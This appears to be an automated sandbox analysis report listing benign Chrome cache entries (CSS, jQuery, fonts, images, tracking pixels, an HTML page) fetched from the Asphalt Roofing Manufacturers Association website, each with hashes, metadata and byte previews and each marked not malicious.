File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 4000x3000, components 3
Category:	dropped
Size (bytes):	885375
Entropy (8bit):	7.971322133182681
Encrypted:	false
SSDEEP:	24576:xN9TQitQBlyazbPv1GwlhM/nLWL7QjutIpO:fazbPvjhMfut9
MD5:	1F095D19D22AE24F6BC4AC88115820FE
SHA1:	B39C9C3D2E709ABE97690D94F70631B7FB974BCA
SHA-256:	C2F36AF7314D61C9CAE5AE02E3A2C334F75CE00D76A3904380567AB2F95F7F8D
SHA-512:	B144213049B4A00B7AEFC098E960C3D23B89CB4C9645EEC57CF63A67CBDCDF1725B9197DF9B359227FDC803AB4AB258090B6531F648BFE316411D289568F1212
Malicious:	false
Reputation:	low
Preview:	......JFIF..............................(.....1#%.(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc......./../cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc..........."..........2...............................................................&u.1].2K........`..............h...f.J.E)V....Y^}45E.K3..m...r...:,..$f..e...S..tg..t...S.4D.9U4.V-e....y..:....!.+.3i.r......2KX.8..=.R..nL..Y;i.:..".h.A!.(N.!.3...M.P......................................uy=m@....1..C@.................K?........Db.0<E;....WY....L.D`.........w.N.M...d..N.m<...q..+..:........,...<...s..F%2...NH.k.0.dcc...R..^.7\k...n..j..T...Q...N.'.8.m..a.Y//yu...;0k....L.2hZ5....Y.M.3i..>..Je..%...4.]!k.....K6......Uf..,1.....f..6."tNq]..i.9...WX.....u..G]q....9..L...@.C..v...#..:q....U..Lie...F.J.U.MUKR.l....%i.J6.V......g].t.s.m9...Cls.F..^V.....t.\W%j0.t.m...C.F..F...,.1.e.....ilju.<.dsL.t....][.i..E. .vg.......2..,.Uo1..V:.L.e.PU.Q .r.-t.Ii..P.g.Ty.%.Yh...Xi.=..:.M...F.... b....Zq.

Chrome Cache Entry: 403

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (41742)
Category:	downloaded
Size (bytes):	76356
Entropy (8bit):	5.492877214433113
Encrypted:	false
SSDEEP:	1536:t1YU0MLSG3nhezbw1rMw0yJ7+8zWKOC95X3rB+:BJ3np1rqyJ7+8zWKJ950
MD5:	36FD970088E4CEF30C24625647D1F48B
SHA1:	D069348151FE736EC8708E350BF10EF4182FA14E
SHA-256:	22C894B0CD8A1E7AAC2C82DD2CCF4E02517A25490FCEDCDC8213E5770AD99725
SHA-512:	69AB4D150B699660AE7B09B947B5914D390F7E312EAD4B2A5AA39E04F0C6CFB45012E22B483FE71864D53AAAECD1D728EA233F4847959759F599782CFF618513
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/plugins/pt-content-views-pro/public/assets/css/cvpro.min.css?ver=5.1.2.2
Preview:	#cvpboxOverlay,#cvpboxWrapper,#cvpcolorbox{position:absolute;top:0;left:0;z-index:9999}#cvpboxWrapper{max-width:none}#cvpboxOverlay{position:fixed;width:100%;height:100%}#cvpboxBottomLeft,#cvpboxMiddleLeft{clear:left}#cvpboxContent{position:relative}#cvpboxLoadedContent{overflow:auto;-webkit-overflow-scrolling:touch}#cvpboxTitle{margin:0}#cvpboxLoadingGraphic,#cvpboxLoadingOverlay{position:absolute;top:0;left:0;width:100%;height:100%}#cvpboxClose,#cvpboxNext,#cvpboxPrevious,#cvpboxSlideshow{cursor:pointer}.cvpboxPhoto{float:left;margin:auto;border:0;display:block;max-width:none;-ms-interpolation-mode:bicubic}.cvpboxIframe{width:100%;height:100%;display:block;border:0;padding:0;margin:0}#cvpboxContent,#cvpboxLoadedContent,#cvpcolorbox{box-sizing:content-box;-moz-box-sizing:content-box;-webkit-box-sizing:content-box}#cvpboxOverlay{background:#000}#cvpcolorbox{outline:0}#cvpboxContent{margin:20px}.cvpboxIframe{background:#fff}#cvpboxError{padding:50px;border:1px solid #ccc}#cvpboxLoadedCo

Chrome Cache Entry: 404

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	2254
Entropy (8bit):	5.011087483226064
Encrypted:	false
SSDEEP:	48:gKuEao/xczApcms3SHh0VRKqEzNLgR3qEkgUerkK5+2qgk8y3koC:ju2/8Nm8G+z67kV
MD5:	80C0D7F079E13437A4F8757328D49402
SHA1:	A567714C83A8AE8238FB5CB72F69DB912A8DDCE4
SHA-256:	07B5F7F2679F46C9BBF2EE194E3A38DA67663245E4CB1431913CF4E339C8EBE7
SHA-512:	2ACA3E99316C08978A05FB63BDD3A2B1D2C7277EDAC0DD2D958F735647C7A5F890FF937F7A6A0128DD35232F63B51784AE4CCD85D94E6D71917224E6ABE099C8
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/themes/u-design/inc/frontend/superfish-menu/css/superfish.css?ver=1.7.2
Preview:	./* ESSENTIAL STYLES /.#navigation-menu .sf-menu, #navigation-menu .sf-menu {..margin:...0;..padding:..0;..list-style:..none;.}.#navigation-menu .sf-menu {..line-height:.1.0;.}.#navigation-menu .sf-menu ul {..position:..absolute;..top:...-999em;..width:...10em; /* left offset of submenus need to match (see below) /.}.#navigation-menu .sf-menu ul li {..width:...100%;.}.#navigation-menu .sf-menu li:hover {..visibility:..inherit; / fixes IE7 'sticky bug' /.}.#navigation-menu .sf-menu li {..float:...left;..position:..relative;.}.#navigation-menu .sf-menu a {..display:..block;..position:..relative;.}.#navigation-menu .sf-menu li:hover ul,.#navigation-menu .sf-menu li.sfHover ul {..left:...0;..top:...40px; / match top ul list item height /..z-index:..99;.}.#navigation-menu ul.sf-menu li:hover li ul,.#navigation-menu ul.sf-menu li.sfHover li ul {..top:...-999em;.}.#navigation-menu ul.sf-menu li li:hover ul,.#navigation-menu ul.sf-menu li li.sfHover ul {..left:...10em; / match ul

Chrome Cache Entry: 405

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	2341
Entropy (8bit):	5.074877644216418
Encrypted:	false
SSDEEP:	48:5dhqVHp1KYS/AQa9dh25kGGrn/7qqJMQfCyn:5d8EWRuIqyn
MD5:	6FE14745317E95C0973C9F1334774307
SHA1:	F091C79864938434C096D439231EECCA5528F95D
SHA-256:	DF6CE1469501D2CCDB1136ECEFEA88D6FCE7FDD3B388973481D6D1A36F49B056
SHA-512:	1AAA56A38147395A124D9B3C19EBCA0FD2A8CEF0570D9289E680AC50A5ADB34D60467ADB76EB5E9056AC41FA833358F599030E070B4271C2BDD15248C833DFA5
Malicious:	false
Reputation:	low
URL:	https://arma1.memberclicks.net/templates/system/css/general.css
Preview:	/* Form validation /..invalid { border-color: #ff0000; }.label.invalid { color: #ff0000; }../ Buttons */.#editor-xtd-buttons {..padding: 5px;.}...button2-left,..button2-right,..button2-left div,..button2-right div {..float: left;.}...button2-left a,..button2-right a,..button2-left span,..button2-right span {..display: block;..height: 22px;..float: left;..line-height: 22px;..font-size: 11px;..color: #666;..cursor: pointer;.}...button2-left span,..button2-right span {..cursor: default;..color: #999;.}...button2-left .page a,..button2-right .page a,..button2-left .page span,..button2-right .page span {..padding: 0 6px;.}...page span {..color: #000;..font-weight: bold;.}...button2-left a:hover,..button2-right a:hover {..text-decoration: none;..color: #0B55C4;.}...button2-left a,..button2-left span {..padding: 0 24px 0 6px;.}...button2-right a,..button2-right span {..padding: 0 6px 0 24px;.}...button2-left {..background: url(../images/j_button2_left.png) no-repeat;..float: left;..margin-l

Chrome Cache Entry: 406

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (31997)
Category:	downloaded
Size (bytes):	96854
Entropy (8bit):	5.3722386982541925
Encrypted:	false
SSDEEP:	1536:HYE1fGBiByJsbfXXeRJ/shgWCeLLccJdZVHk04ssx+/mvaSIFSLt43tpXJIGVypu:fsAg0psxTva/FSLKy2bDD5a98Hrn
MD5:	455F4240B81915EA051B23D783291B6B
SHA1:	6750AC2287AA2F28C6125BEC29AF18B8A620D0C6
SHA-256:	3BB2621A4C0C710F6E78404473AEBFF8E115A28F8D53F44339B867C63AD93B26
SHA-512:	CA808E3C024AB10EC5B638E325089019007589667672E1ACC5C56019969A3F1FCEE4CE83153E7C783C850FB48C50BD3822D67F361B26A4C1CC42C9846BC84F7E
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/plugins/enable-jquery-migrate-helper/js/jquery/jquery-1.12.4-wp.js?ver=1.12.4-wp
Preview:	/! jQuery v1.12.4 \| (c) jQuery Foundation \| jquery.org/license \| WordPress 2019-05-16 /.!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=a.document,e=c.slice,f=c.concat,g=c.push,h=c.indexOf,i={},j=i.toString,k=i.hasOwnProperty,l={},m="1.12.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return e.call(this)},get:function(a){return null!=a?a<0?this[a+this.length]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a){return n.each(this,a)},map:function(a){return this.pushStack(n.map(this,fu

Chrome Cache Entry: 407

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 620 x 1571, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	21128
Entropy (8bit):	7.421874730669615
Encrypted:	false
SSDEEP:	384:NhBPj1Zv977TAezD+iMrwNoO1RKO+8Uc2ZYB+8PoZ460TIWkRVb0jSITBakV:NzPj/vNDzwAhX5B+8Po2MIFBaw
MD5:	6BEA76D1D558B2BFF4B7DFF84C055363
SHA1:	F63286426B2C06ED48CC4C933A5E12D782BA157C
SHA-256:	49E037D4F5AA5081070676543A3CDA283121D7A622EC88B2EFB54E76AD4DB358
SHA-512:	B7BD286235DFF6EE80ABAABBC5B654DF6C70030DA8661F4B026C1081629662B2394365036C2AB163F4411C459D63A12F44DD96C5468F1AAE346FAB8B1D04EE84
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/themes/u-design/assets/images/misc-sprite-sheet.png
Preview:	.PNG........IHDR...l...#.....J.c...ROIDATx...w...?..K.....k.-z-Il...1..Q.b..b9vM....l.....Q......t..."..~k.{s7G.........y^f.5s....f..,........................X..m.2...XJ.k.b.....k/j...K7....u..n...K?..u.=....}:..PC.[....O....~`......s...X...w.........k=....................................................m.2....f..~{.v............u..;.P6%..b8[.>....{..b(+.......R............R....T..........P.z........R................................................................O/........_...va.C..5<... ...............................................................~..... ....k...J....a.M....6................................................................`..!........./.fi...!........................................................................QB.e... ....k...J....a.M....6........................................................_t...XA'..jn`..M.B..@..lB..@..l_}.......j``.:th.1bD.5jT.7n....P...........a...#.6.....RP+....P..[.aK%......._?a.....6/................................

Chrome Cache Entry: 408

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	23673
Entropy (8bit):	5.112363581411634
Encrypted:	false
SSDEEP:	384:53rZq3ZquGb0A+T90J9ZjmQgJ3ERTJ+1fyQSLkfB9DxNEx95Jb:Hq3ZqHPZm3ERMhytLMhzExJb
MD5:	8BD074658806C4A7FE21E04CD60AEF4F
SHA1:	FC41316C88CC93FCA469E18A99614AD318A34ED4
SHA-256:	708883A21754B3F7E1653D1D358663D65309E97D673A5934990C73F46DF22D4C
SHA-512:	AA6990CA6644EC2A2FF8586F9C0FD8C27A5892ECC9FD1E907C111C7A4925F1D30E28DDF23CA95388CD4C681A1E0A42F5FB0D080F7499EC0F8C4F70F94D38A562
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/plugins/enable-jquery-migrate-helper/js/jquery-migrate/jquery-migrate-1.4.1-wp.js?ver=1.4.1-wp
Preview:	/!. jQuery Migrate - v1.4.1 - 2016-05-19. * Copyright jQuery Foundation and other contributors. */.(function( jQuery, window, undefined ) {.// See http://bugs.jquery.com/ticket/13335.// "use strict";...jQuery.migrateVersion = "1.4.1";...var warnedAbout = {};..// List of warnings already given; public read only.jQuery.migrateWarnings = [];..// Set to true to prevent console output; migrateWarnings still maintained.// jQuery.migrateMute = false;..// Show a message on the console so devs know we're active.if ( window.console && window.console.log ) {..window.console.log( "JQMIGRATE: Migrate is installed" +...( jQuery.migrateMute ? "" : " with logging active" ) +...", version " + jQuery.migrateVersion );.}..// Set to false to disable traces that appear with warnings.if ( jQuery.migrateTrace === undefined ) {..jQuery.migrateTrace = true;.}..// Forget any warnings we've already given; public.jQuery.migrateReset = function() {..warnedAbout = {};..jQuery.migrateWarnings.length = 0;.};..func

Chrome Cache Entry: 409

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	181556
Entropy (8bit):	5.159661620420471
Encrypted:	false
SSDEEP:	3072:IS1ca6+8mw5rJzzVLe4RsLx16PkHbZVSW1aX:Si8mw5rJ3Vq4RsLx0PkjSW1aX
MD5:	3175CDE8880003184A3E7B8E0DF17642
SHA1:	A2E85C3487D9F5410DE10E1C4D5B49E996F739DD
SHA-256:	08CCC0EDDC0B074E23820C6726F6143D7549A2F9D53CD9A3563A8FE2FAF6D79B
SHA-512:	821F39E2C79356803CEAC7F4FA53B5148EB7E3036DFF0E374205CD2D293D8BF29945BD468F7C3297E266787CF91483A23F914D61DB2F8026704F9E31E1D517EB
Malicious:	false
Reputation:	low
URL:	https://arma1.memberclicks.net/plugins/system/mtupgrade/mootools.js
Preview:	/.---..name: Core..description: The core of MooTools, contains all the base functions and the Native and Hash implementations. Required by all the other scripts...license: MIT-style license...copyright: Copyright (c) 2006-2008 [Valerio Proietti](http://mad4milk.net/)...authors: The MooTools production team (http://mootools.net/developers/)..inspiration:. - Class implementation inspired by [Base.js](http://dean.edwards.name/weblog/2006/03/base/) Copyright (c) 2006 Dean Edwards, [GNU Lesser General Public License](http://opensource.org/licenses/lgpl-license.php). - Some functionality inspired by [Prototype.js](http://prototypejs.org) Copyright (c) 2005-2007 Sam Stephenson, [MIT License](http://opensource.org/licenses/mit-license.php)..provides: [MooTools, Native, Hash.base, Array.each, $util]....../..var MooTools = {..'version': '1.2.5',..'build': '008d8f0f2fcc2044e54fdd3635341aaab274e757'.};..var Native = function(options){..options = options \|\| {};..var name = options.name;..var le

Chrome Cache Entry: 410

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 48236, version 1.0
Category:	downloaded
Size (bytes):	48236
Entropy (8bit):	7.994912604882335
Encrypted:	true
SSDEEP:	768:uj6JxavgLx5rjTH3CdZ3y11o4uMb2IVEhiB6z6GAAHJApICtBgso6HaOjTXHRWK:ujoa4LxZPCdm3B2IVEhiB62apApISxos
MD5:	015C126A3520C9A8F6A27979D0266E96
SHA1:	2ACF956561D44434A6D84204670CF849D3215D5F
SHA-256:	3C4D6A1421C7DDB7E404521FE8C4CD5BE5AF446D7689CD880BE26612EAAD3CFA
SHA-512:	02A20F2788BB1C3B2C7D3142C664CDEC306B6BA5366E57E33C008EDB3EB78638B98DC03CDF932A9DC440DED7827956F99117E7A3A4D55ACADD29B006032D9C5C
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTS-muw.woff2
Preview:	wOF2.......l......D...............................O..B..h?HVAR.x.`?STAT.$'...0+...\|.../V........+..2.0..6.6.$..`. ..~......[B4q.....t..P.M_.z...1..R.S...u.#..R....fR.1.N.v.N.P...;.2........!Z......Qs...5f.G.K.an2&....2.........C.H.t..N!.....nh.<(.vN.....j.._.L.P.t..Ai.%.............._I.i,..o,C.].H.X9.....a.=N....k.....n.L..k.f.u..{...:.}^\[..~5...Z`...........`!...%4..,...K0..&.a/....P....S....m.Z......u...D.j.F...f.0`I.`.`.h#..)(FQ.F!o$........S.).MV8%Rh...r...x...T]$.=......Y...!.3.&U..."....Q....{.l/0..d..4iJ/..}...3....i[Z..NG.WD...>.[U..Q.h..@m.=..S...1C2...d...<..v.?.q.f..n...OUz.....&Z......Z."..N.....n...9.B..C..W....}...W..6Zs.i.+Z........jB.n..x.8M.....q..@I....-.%..,C,..K..#.2...4)/.v_..x.<....t.....%[.4?.=j.V..jj''..W.u..q....I.L.=......E...\.M.7{.>......W........C.`...,9$......\..o........y...4A..m.P.,X..=?.:................wF`..+.P..........M!.4.......l.>M..t.ff5r..^..Z.g...!fA,hIIQ...e.R>B.AH.VuX..>..\.=.ky...1>C....>C.c.;...6D.

Chrome Cache Entry: 411

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (8123), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	78746
Entropy (8bit):	5.426380589215901
Encrypted:	false
SSDEEP:	1536:po+pap7Tcg1hOH+Ej4uG/GtHU9JV1Uj9oA8TpuQry7PDwyHILXeQKWDVpg0b5N:mN5ceh+xEi9oA8Tpuum7zoLXeQKcVpg2
MD5:	540880C105AE832FCA580B91F1703AB1
SHA1:	6F25B6EAA3608D6944DD8F56AD02C568960637B0
SHA-256:	B47FAF2AADFE032EED75283C63FF09F3793674590C1AE099810080FE6C77430B
SHA-512:	351F93C17221E199F8E799B88753E994CE47491C059ECEC5C6D47BE124C24CF1205CBCDD4D36403D368A0F02CD76EA9E48C10ACC51BA872EBE5A3C96EAA89E7A
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/about-arma/
Preview:	<!DOCTYPE html>..<html lang="en">..<head>.. GTM Snippet for Feathr) -->..<script>(function(w,d,s,l,i){w[l]=w[l]\|\|[];w[l].push({'gtm.start':..new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],..j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src=..'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);..})(window,document,'script','dataLayer','GTM-NZGSSK4');</script>... Google tag (gtag.js) -->..<script async src="https://www.googletagmanager.com/gtag/js?id=G-YHMWY88VCL"></script>..<script>.. window.dataLayer = window.dataLayer \|\| [];.. function gtag(){dataLayer.push(arguments);}.. gtag('js', new Date());.... gtag('config', 'G-YHMWY88VCL');..</script>..<script>var pm_pid = "25878-036c4a38"; var pm_sw = "/security.js"</script><script src="//wds.wesq.me/js/pub.min.js" async></script>....<meta charset="UTF-8">...<meta name="viewport" content="width=device-width, initial-scale=1.0">...<link rel="profile" href

Chrome Cache Entry: 412

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 92 x 87, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	865
Entropy (8bit):	7.56826330397531
Encrypted:	false
SSDEEP:	24:qfGaGI1sUg6TEY0O0Tpw9v/JKPUEBYzqehAaALMBK1:q8I1sHeEvOYKv/6UhdhWMBM
MD5:	D09D9B37C216009C192926338684BF3F
SHA1:	5146DAF3E374F458DFAED6C089CE64C9E8CB3B1F
SHA-256:	7075393C672E17F7A1D106281FCCDD944E192F8D7BBD13DB668C476C7B4C94B2
SHA-512:	511DE98B04E469209E4D2521909E3DFA60300911AD7F101431695DDCEF58CA9A3F51F47FB7988BB4B642298D16F4DF5078995FC2B41E20E76F76D750F2906FB1
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...\...W...........NPLTEGpL.........t .......t!....u"....t .u#....t .............t ..zyt ..get .....?9.t<.....tRNS..:.`.D.P... p.g...[.......IDATX...v. .D.Q.uF......6,.:......-. .S._(.:....[!D4.X..O.8....S...y..o.....p`.XX.4.l8.y.......2...@.g.8..Nx....W_...]..e:..!..P.\..e.d..3...:...[pm?4\|......h.5..}..A./...b.cg?.`...S?..\|OxO..........E.9.....<..fRI......K..=.H5.Z..V?..Ln..0.....e...4..m........F.....nF,..y2......2.......7.Se.Jq..,.8B....n..0,.BHy=B..3..'6..o.f..<....2_.pvW..Y....v..p..j}..1.....v.(Xr.F/Mx.........B\|..w..8..:. ......P..M.M.`............Y(D:...........M.Z..`/.T...B.....Mr8....j.[8...\mb.....!H}.o.T....5..`V.p....zu..?$..."B[.d......:.71......-D..A.M.......He..\71.g........f......l"..^.........e....t..c.G.E....b.BT..h...i.[.x`t....kl.....xp:.K...Q....v...5).....IEND.B`.

Chrome Cache Entry: 413

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://events.api.secureserver.net/t/1/tl/event?dh=www.asphaltroofing.org&dr=&ua=Mozilla%2F5.0%20(Windows%20NT%2010.0%3B%20Win64%3B%20x64)%20AppleWebKit%2F537.36%20(KHTML%2C%20like%20Gecko)%20Chrome%2F117.0.0.0%20Safari%2F537.36&client_name=scc-c2&cv=0.2.5&vg=f88fc3aa-100e-4cfc-bec1-5c4af53a6798&vtg=f88fc3aa-100e-4cfc-bec1-5c4af53a6798&dp=%2Fresources&trace_id=1eb308c165864335808e0b2b68709a54&cts=2024-04-23T14%3A54%3A42.412Z&hit_id=67a0fc6a-b3d9-4538-8aa5-86457d2cb2a0&ea=pageperf&ht=perf&eid=traffic.tcc.instrumentation.navigation.timing&trfd=%7B%22ap%22%3A%22cpbh-mt%22%2C%22server%22%3A%22p3plmcpnl495282%22%2C%22dcenter%22%3A%22p3%22%2C%22cp_id%22%3A%227432260%22%2C%22cp_cache%22%3A%22%22%2C%22cp_cl%22%3A%228%22%7D&ap=cpbh-mt&vci=684766487&z=1801770447&tce=1713884078659&tcs=1713884078413&tdc=1713884082392&tdclee=1713884080088&tdcles=1713884079993&tdi=1713884079992&tdl=1713884078896&tdle=1713884078413&tdls=1713884078413&tfs=1713884078382&tns=1713884078379&trqs=1713884078659&tre=1713884079013&trps=1713884078891&tles=1713884082392&tlee=0&nt=navigate&LCP=2448&nav_type=hard
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 414

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 415

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 3959 x 834, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	842705
Entropy (8bit):	7.7088111588147115
Encrypted:	false
SSDEEP:	24576:aA9zM/Kd+hk65gb76FrlDmpzj2yuOZcFXm:d9zM/Kdo55Rmdj95ZyXm
MD5:	1039BE5EC599AC1DB057CCD46F87AA08
SHA1:	1D4A3D89046BE93E1AF836A6B412D139ADCDDCA6
SHA-256:	1511C39E5022E2B28515AA69DB04352F4F8E61E07F7D854B903E879580B2D513
SHA-512:	B4FA1FEF4D54DD9BD2529669D812B8B1D43C2BE0E26B280C1E5CE7BA4B33C440B5926751F1E87CBEC28B7212D999DA243AEA2BFF65E414E9A5669754A846CFA5
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/uploads/2023/07/2024AwardsBanner-Submit.png
Preview:	.PNG........IHDR...w...B......@W.....pHYs..........&.?...lPLTE..........................................................{yy..stqfhd.ZUZ]WpHBNPNf60j!._..W..5#"L..;..'......4_i....IDATx.......p.0..';..k..4.._....X....Y2..X....,........l....,4.;,.4}b...L`.....b.X..,..........$..n.....=....6....~j...N~z.-}...8R..ro..~.....d.y.v.&...$.....,!s.%.....;N.........Y.F...p..%..{...]?K....'...5.q.<;....-1.-Llk.n....'..>a.{......H....%[......Y...O...%.Z....,...\|.y.]F<.k...{........p.>....$F.K.[.K.KR.m..M.;...H.7....~...1E...c.;....y.t#6..Y..-v....I..@.#X..m..lI.A..p...0rwob.N.s.4.,.!...J 3.L.zu.a$....%a.X... .kr...H.S..[..y.~.6y..8.n..#.....,.._)..BXvu....M.9.szP. ..17.,.,..z..#.1X&..G..#..B@....a...#P.g`A.d.db8.p..#.0......0..A..g.Eq`.........J...p.\.X..........(..%..3. ...0.b...@.:.#...&....`a.E.!.:..d.....@.@.......b....@`..XXb..Xb....K0..>v.....'w...&ia......On..dw.....c...I....tx....1..=.....].......E..`;3.l.w.y<..~F]]...w..4....ic.... y.E.%..I9P..

Chrome Cache Entry: 416

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://events.api.secureserver.net/t/1/tl/event?dh=www.asphaltroofing.org&dr=&ua=Mozilla%2F5.0%20(Windows%20NT%2010.0%3B%20Win64%3B%20x64)%20AppleWebKit%2F537.36%20(KHTML%2C%20like%20Gecko)%20Chrome%2F117.0.0.0%20Safari%2F537.36&client_name=scc-c2&cv=0.2.5&vg=f88fc3aa-100e-4cfc-bec1-5c4af53a6798&vtg=f88fc3aa-100e-4cfc-bec1-5c4af53a6798&dp=%2Fcontact-us&trace_id=b49b6306e67848e88d5e4c09c66a1ed9&cts=2024-04-23T14%3A54%3A13.162Z&hit_id=1e54fd14-c976-499c-864e-c3f718ba19f4&ht=pageview&trfd=%7B%22ap%22%3A%22cpbh-mt%22%2C%22server%22%3A%22p3plmcpnl495282%22%2C%22dcenter%22%3A%22p3%22%2C%22cp_id%22%3A%227432260%22%2C%22cp_cache%22%3A%22%22%2C%22cp_cl%22%3A%228%22%7D&ap=cpbh-mt&vci=31576341&z=1947753025
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 417

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 604, version 1.0
Category:	downloaded
Size (bytes):	604
Entropy (8bit):	7.41781806881781
Encrypted:	false
SSDEEP:	12:Xq1fBajFXg5xrLBP6JrzxjDBQVcWFaDsIDfAXLO7hLSf9DU:Xq0FQ5xrLBSJrzx/BQVFyX76LO7ls9DU
MD5:	7477A4579D8075D56BA4D2B23700BF26
SHA1:	FB30A2104E1FE4B1EA9C260DE3BD4B9DA3692B01
SHA-256:	6DB30A0BBFD8D89A1B5B334D4180BF9433B82F37B8151DCD5425A8EF56C3F305
SHA-512:	633FCBA40F12FE400A77C30EE91F04C5709367C86292E7C20E75B6D00DF0DB61721E97274D089D42A59E24F5F602A1AC814857EB0D8E87DD19323354949F2CBE
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/plugins/floating-top-link/fonts/floating-top-link.woff2
Preview:	wOF2.......\.......0.............................B.V..p.,J.6.$...... ....,.....%......@@<.\....56..c..:.bZ.%p^...').oTge.e....{...-..3.l.x..&..=p.?R..+.6.....&..@f:skSa~o....1FH..2..5-.......`]..H.0>.U...F.jn...[....,..P.....F..%EE..j!"o.Q......U.F...[`...Z.~s.V...#`%.C{l.P.j...u....Qc....g.......!.^$D-........../...K.....c.......k5.......}.Lx........\......c.a.Xc..6....a..RM@ly .0..+my.....e.kle.........n.\.r.f..i.'.$OS.h./.>!SD.~...b.r2.S..%.gr.,P.....T.6&.;!...vE~......b......M..[...t*.2....N...Q4].....[j.....\B.3..c...%3h3>.H..CZ_.#>..:.....V_..b/....H),Cqq..

Chrome Cache Entry: 418

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
